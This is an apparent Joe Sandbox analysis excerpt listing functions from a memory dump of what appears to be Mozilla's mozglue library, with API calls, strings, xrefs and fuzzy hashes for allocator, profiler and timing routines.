memset.VCRUNTIME140(?,00000000,00004014), ref: 6CB7C9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB7CC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CB7CD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB7DB40
memcpy.VCRUNTIME140(?,?,?), ref: 6CB7DB62
memcpy.VCRUNTIME140(?,?,?), ref: 6CB7DB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB7DD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CB7DE95
memcpy.VCRUNTIME140(?,?,?), ref: 6CB7E360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB7E432
memcpy.VCRUNTIME140(?,?,?), ref: 6CB7E472

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: a5eb86d64b095408490151750e220c08d1584e39c18cceff011afdbfaa52fbab
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: DE33BF71E0025ACFCB14CFA8C8806EDBBF2FF49310F294269D965AB755D731A945CBA0

Function 6CB2FD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CB9E7B8), ref: 6CB2FF81
LeaveCriticalSection.KERNEL32(6CB9E7B8), ref: 6CB3022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6CB30240
EnterCriticalSection.KERNEL32(6CB9E768), ref: 6CB3025B
LeaveCriticalSection.KERNEL32(6CB9E768), ref: 6CB3027B

Strings

: (malloc) Error in VirtualFree(), xrefs: 6CB30D67, 6CB30D7B, 6CB30DAC
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CB2FE99, 6CB2FEB7, 6CB2FED3, 6CB30DB8, 6CB30DD3, 6CB319B4
<jemalloc>, xrefs: 6CB30D62, 6CB30D76, 6CB30DA7

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: a0625e85cb2b7220c74579506096a73e78e265b120b060d63077acff7db664b8
Instruction ID: 86c55e567fce2d054eaec28a5db754ffadc74453f9db7d242543efc35cceebcf
Opcode Fuzzy Hash: a0625e85cb2b7220c74579506096a73e78e265b120b060d63077acff7db664b8
Instruction Fuzzy Hash: 7DC2C171A057918FD714CF28C980716BBE1FF86728F28C66DE8698B795D735E801CB82

Function 6CB7E680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6CB7E811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB7EAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CB7EBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB7EEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB7F223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6CB7F322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB80E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6CB80E54
memcpy.VCRUNTIME140(?,?,?), ref: 6CB80EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6CB80ED4

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: 5d166b14ddfb66a0639a56c792672f9aa05d0d2c48fddbba882c5dc85f3e805a
Instruction ID: e58ddd3e7ca1500c26837a29ad82a51f3556908cb80ed41d662731b7ec97e8b7
Opcode Fuzzy Hash: 5d166b14ddfb66a0639a56c792672f9aa05d0d2c48fddbba882c5dc85f3e805a
Instruction Fuzzy Hash: 7B637F71E0129ACFCB14CFA8C8906DDFBB2FF89310F298269D855AB755D730A945CB90

Function 6CB53E50 Relevance: 27.0, APIs: 13, Strings: 2, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6CB77770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6CB53E7D,?,?,?,6CB53E7D,?,?), ref: 6CB7777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6CB53F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6CB53F5C
VerSetConditionMask.NTDLL ref: 6CB53F8D
VerSetConditionMask.NTDLL ref: 6CB53F99
VerSetConditionMask.NTDLL ref: 6CB53FA0
VerSetConditionMask.NTDLL ref: 6CB53FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6CB53FB4

Strings

nvinit.dll, xrefs: 6CB54479
nvd3d9wrap.dll, xrefs: 6CB54466

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-2380496106
Opcode ID: ca97fa8eeb945433a5a22f0fe9df8a16b4a77dca620e9face435233072f07257
Instruction ID: dac292489f26bce28bd9a98ce5c37358db4bf2b90fccef45dfa5e9420a657a34
Opcode Fuzzy Hash: ca97fa8eeb945433a5a22f0fe9df8a16b4a77dca620e9face435233072f07257
Instruction Fuzzy Hash: F552CF71610B898FD715DF34C890ABB77E9AF45208F54092EE4978B782DB34E91ACB60

Function 6CB3ED10 Relevance: 25.4, APIs: 16, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6CB3EE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6CB3EFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6CB41695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB416B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6CB41770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CB41A3E

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID:
API String ID: 3693777188-0
Opcode ID: 44ff4a6715879be3d8598a7216f8692b9387a411e9220c37315342177732b2f2
Instruction ID: f2247377ea4d607882e1ae9fe6dcfacca44d5c93e7c5778d6fdf6620c894058c
Opcode Fuzzy Hash: 44ff4a6715879be3d8598a7216f8692b9387a411e9220c37315342177732b2f2
Instruction Fuzzy Hash: CEB32A71E04269CFCB14CFA8C890A9DB7B2FF49304F1981A9D449AB749D730AD86DF91

Function 6CB2FEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CB9E7B8), ref: 6CB2FF81
LeaveCriticalSection.KERNEL32(6CB9E7B8), ref: 6CB3022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6CB30240
EnterCriticalSection.KERNEL32(6CB9E768), ref: 6CB3025B
LeaveCriticalSection.KERNEL32(6CB9E768), ref: 6CB3027B

Strings

MOZ_CRASH(), xrefs: 6CB30CA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CB2FE99, 6CB2FEB7, 6CB2FED3, 6CB30DB8, 6CB30DD3, 6CB319B4, 6CB31A10

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: 8fb69cf5d02ff54abfdb2a5e481943533aa998afe70ba745c50d9b7c0102aa94
Instruction ID: 9cab5c445685439e85416de2be1b7204930091e8fc750abe65629bdfadef4beb
Opcode Fuzzy Hash: 8fb69cf5d02ff54abfdb2a5e481943533aa998afe70ba745c50d9b7c0102aa94
Instruction Fuzzy Hash: C4B28C71A057A18FD714CF29C990716BBE1EF85328F28D66CE86E8B795C770E841CB42

Function 6CB65600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

ProfileBuffer parse error: %s, xrefs: 6CB65AC8, 6CB65CBB
name, xrefs: 6CB65E79, 6CB65E8F
schema, xrefs: 6CB6606D
expected a Time entry, xrefs: 6CB65CB6
expected a Count entry, xrefs: 6CB65AC3
data, xrefs: 6CB66131

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: e029c948a9fcdab33b796d9c7a312e3ab10bb5ead011e13ffbbd39c3cd5eb359
Instruction ID: 92cf8837c77c48605b5b24d71fe38bbc7d0a4cefba55724726a03bd6702f2d46
Opcode Fuzzy Hash: e029c948a9fcdab33b796d9c7a312e3ab10bb5ead011e13ffbbd39c3cd5eb359
Instruction Fuzzy Hash: C8922975A083818FD724CF29C49076EB7E1BFC9308F54891DE59A9BB51DB30E909CB92

Function 6CB62E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6CB62ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB62EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6CB62F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB63214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB63242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB636BF

Strings

MOZ_PROFILER_SYMBOLICATE, xrefs: 6CB6378D
get , xrefs: 6CB63205
set , xrefs: 6CB636EC

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: f05d9d2a0836147b217df422b302670fd30bba6607907ec0230084690ee9bbaf
Instruction ID: 5451e6b79913f5dd29bad6c5e866f93405f927c15831b13637afe23b8baaeb04
Opcode Fuzzy Hash: f05d9d2a0836147b217df422b302670fd30bba6607907ec0230084690ee9bbaf
Instruction Fuzzy Hash: 9D325BB46083C18FD724CF25C490AAEBBE2EFC9318F54881DE59987B51DB31994ACB53

Function 6CB57E10 Relevance: 17.9, APIs: 6, Strings: 4, Instructions: 403COMMON

Download Yara Rule

Strings

name, xrefs: 6CB57ECF, 6CB58335
schema, xrefs: 6CB581E3, 6CB58311
(pre-xul), xrefs: 6CB57E88
data, xrefs: 6CB58280, 6CB583E1

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema
API String ID: 3412268980-999448898
Opcode ID: f93980438eb5e90af9c756d3e5ee11e6509a26ba327c0fda4633d8ba3722477c
Instruction ID: 009d8480887d39b4d46afbdad1eddef4e1320d9a43062bf19dee9deaeca3a828
Opcode Fuzzy Hash: f93980438eb5e90af9c756d3e5ee11e6509a26ba327c0fda4633d8ba3722477c
Instruction Fuzzy Hash: DCE17EB1A043918BC710CF68884066FF7E9FB85314F548A2DE899A7790DBB5DD098B91

Function 6CB3D4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CB9E784,?,?,?,?,?,?,?,00000000,76F92FE0,00000001,?,6CB4D1C5), ref: 6CB3D4F2
LeaveCriticalSection.KERNEL32(6CB9E784,?,?,?,?,?,?,?,00000000,76F92FE0,00000001,?,6CB4D1C5), ref: 6CB3D50B

Part of subcall function 6CB1CFE0: EnterCriticalSection.KERNEL32(6CB9E784), ref: 6CB1CFF6
Part of subcall function 6CB1CFE0: LeaveCriticalSection.KERNEL32(6CB9E784), ref: 6CB1D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76F92FE0,00000001,?,6CB4D1C5), ref: 6CB3D52E
EnterCriticalSection.KERNEL32(6CB9E7DC), ref: 6CB3D690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CB3D6A6
LeaveCriticalSection.KERNEL32(6CB9E7DC), ref: 6CB3D712
LeaveCriticalSection.KERNEL32(6CB9E784,?,?,?,?,?,?,?,00000000,76F92FE0,00000001,?,6CB4D1C5), ref: 6CB3D751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CB3D7EA

Strings

: (malloc) Error initializing arena, xrefs: 6CB3D82C
<jemalloc>, xrefs: 6CB3D827

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: bd6eb47633be04ff3f6336f43223538781b870c1ba1f2956cd92070759937090
Instruction ID: 6d5a978c29b59aea56a8782b2c9b6985af83a96ae9425d8d0f3274bfb63bf731
Opcode Fuzzy Hash: bd6eb47633be04ff3f6336f43223538781b870c1ba1f2956cd92070759937090
Instruction Fuzzy Hash: 6E91D171B147A18FD714CF39D19432AB7E1FB9A314F15992EE5AE87A80D730E844CB82

Function 6CB35E90 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6CB35EDB
memset.VCRUNTIME140(6CB77765,000000E5,55CCCCCC), ref: 6CB35F27
LeaveCriticalSection.KERNEL32(?), ref: 6CB35FB2
memset.VCRUNTIME140(6CB77765,000000E5,B9C09015), ref: 6CB361F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6CB37652

Strings

MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6CB3730D
MOZ_CRASH(), xrefs: 6CB37BA4
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6CB372E3
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CB37BCD, 6CB37C1F, 6CB37C34, 6CB380FD
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6CB372F8

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 2613674957-1127040744
Opcode ID: 9a5a0d9285fda8406bc6fc171e3a20d119827ec50ba06d0be08a18a2409e0baa
Instruction ID: 421f68c90385afd27745b847812fb13fad90b4906550a680aa9a3d8b75f6fe02
Opcode Fuzzy Hash: 9a5a0d9285fda8406bc6fc171e3a20d119827ec50ba06d0be08a18a2409e0baa
Instruction Fuzzy Hash: AD337A71605791CFC308CF28C690615BBE2FF85328B29D6ADE86D8B7A5D771E841CB42

Function 6CB13480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6CB13284,?,?,6CB356F6), ref: 6CB13492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6CB13284,?,?,6CB356F6), ref: 6CB134A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6CB13284,?,?,6CB356F6), ref: 6CB134EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6CB1350E
__Init_thread_footer.LIBCMT ref: 6CB13522
__aulldiv.LIBCMT ref: 6CB13552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6CB13284,?,?,6CB356F6), ref: 6CB1357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6CB13284,?,?,6CB356F6), ref: 6CB13592

Part of subcall function 6CB4AB89: EnterCriticalSection.KERNEL32(6CB9E370,?,?,?,6CB134DE,6CB9F6CC,?,?,?,?,?,?,?,6CB13284), ref: 6CB4AB94
Part of subcall function 6CB4AB89: LeaveCriticalSection.KERNEL32(6CB9E370,?,6CB134DE,6CB9F6CC,?,?,?,?,?,?,?,6CB13284,?,?,6CB356F6), ref: 6CB4ABD1

Strings

GetSystemTimePreciseAsFileTime, xrefs: 6CB13508
kernel32.dll, xrefs: 6CB134EA

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: b0e845a5a3e114b227b4f257b32d5b24131431d83134484a39cb0a63542568c7
Instruction ID: a13a0c6b8c8bec135e0772a352ba2c2bea726c242ed35832bebdbe4b0e68e9b1
Opcode Fuzzy Hash: b0e845a5a3e114b227b4f257b32d5b24131431d83134484a39cb0a63542568c7
Instruction Fuzzy Hash: 9131B175B04289DBDF14DFB9CA48AAE77B9FB47714F104429F605A3A50EB30A904CF61

Function 6CB64820 Relevance: 16.5, APIs: 1, Strings: 8, Instructions: 744COMMON

Download Yara Rule

Strings

expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2, xrefs: 6CB64D65
ProfileBuffer parse error: %s, xrefs: 6CB64DD9
schema, xrefs: 6CB648C1
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime, xrefs: 6CB64CAF
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3, xrefs: 6CB64DB8, 6CB64DD8
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration, xrefs: 6CB64D0A
data, xrefs: 6CB649B4
-%llu, xrefs: 6CB64825

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: free
String ID: -%llu$ProfileBuffer parse error: %s$data$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3$schema
API String ID: 1294909896-3225433307
Opcode ID: d416da0fee79e41085511acbbce8f4263c1103797063ca75644a0e43a08605d4
Instruction ID: 7b41e1a5286dafd1a500483bcbee13fab887aeb102e1db047e78d689b0884259
Opcode Fuzzy Hash: d416da0fee79e41085511acbbce8f4263c1103797063ca75644a0e43a08605d4
Instruction Fuzzy Hash: A9721C75918B858BD322CF34C4513ABF7E5BFDA344F108B1EE48A6B611EB70A485DB42

Function 6CB74EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6CB74EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB74F2E
moz_xmalloc.MOZGLUE ref: 6CB74F52
memset.VCRUNTIME140(00000000,00000000), ref: 6CB74F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB752B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB752E6
Sleep.KERNEL32(00000010), ref: 6CB75481
free.MOZGLUE(?), ref: 6CB75498

Strings

(, xrefs: 6CB75250

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: 93033ca77b501113f61ea172f91b62cb7e3aab413efac892548978ad52261e9f
Instruction ID: fd0f97f2e27508ab58675873e32c9edf854704ee4eb426c4de74ebcf764cd07f
Opcode Fuzzy Hash: 93033ca77b501113f61ea172f91b62cb7e3aab413efac892548978ad52261e9f
Instruction Fuzzy Hash: 38F1D071A19B408FC716CF39C85062BB7FAAFD7294F05872EF846A7650DB31D8468B81

Function 6CB75FF0 Relevance: 15.1, APIs: 10, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6CB76009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6CB76024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(6CB1EE51,?), ref: 6CB76046
OutputDebugStringA.KERNEL32(?,6CB1EE51,?), ref: 6CB76061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CB76069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CB76073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CB76082
